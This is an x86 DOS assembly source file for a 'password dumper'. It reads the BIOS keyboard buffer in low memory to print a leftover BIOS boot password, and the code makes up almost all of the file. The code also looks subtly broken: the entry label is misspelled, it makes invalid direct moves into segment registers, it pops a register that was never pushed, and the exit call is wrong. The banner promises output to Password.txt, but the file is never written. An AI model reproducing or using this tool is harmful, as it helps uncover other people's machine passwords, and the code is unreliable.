;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Endrazine endrazine@pulltheplug.org ; ; Bios Password Physical Memory Reader ; ; Display on screen, Windows Compatible version ; ;Complete article at http://www.pulltheplug.org/users/endrazine; ; ; ;Compiling : A86 dbiosw.asm dbiosw.com ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; code segment org 100h assume ds:code, es:code, cs:code srart: mov ah, 09h mov dx,offset welcome int 21h xor ax,ax int 16h mov ah,03h xor bx,bx int 10h xor dl,dl inc dl inc dh inc dh mov ah,02h xor bx,bx int 10h pop cx mov ds, 40h mov si, 01EH inc si mov cx,16 daloop: push cx mov ds,40h mov ax,[ds:si] add si,2 mov dl,ah mov ds,es xor ax,ax mov ah, 02h int 21h ; Write buffer mov ah,03h xor bx,bx int 10h xor dl,dl inc dh mov ah,02h xor bx,bx int 10h pop cx loop daloop mov ds,es mov ax,4ch int 21h handle dw ? welcome db 'Password dumper by Endrazine',10,13 db '',10,13 db 'Dumping Password to Password.txt',10,13 db 'Press any Key$',10,13 fname db 'Password.txt',0 Msg db 'Password is : ',0 end start end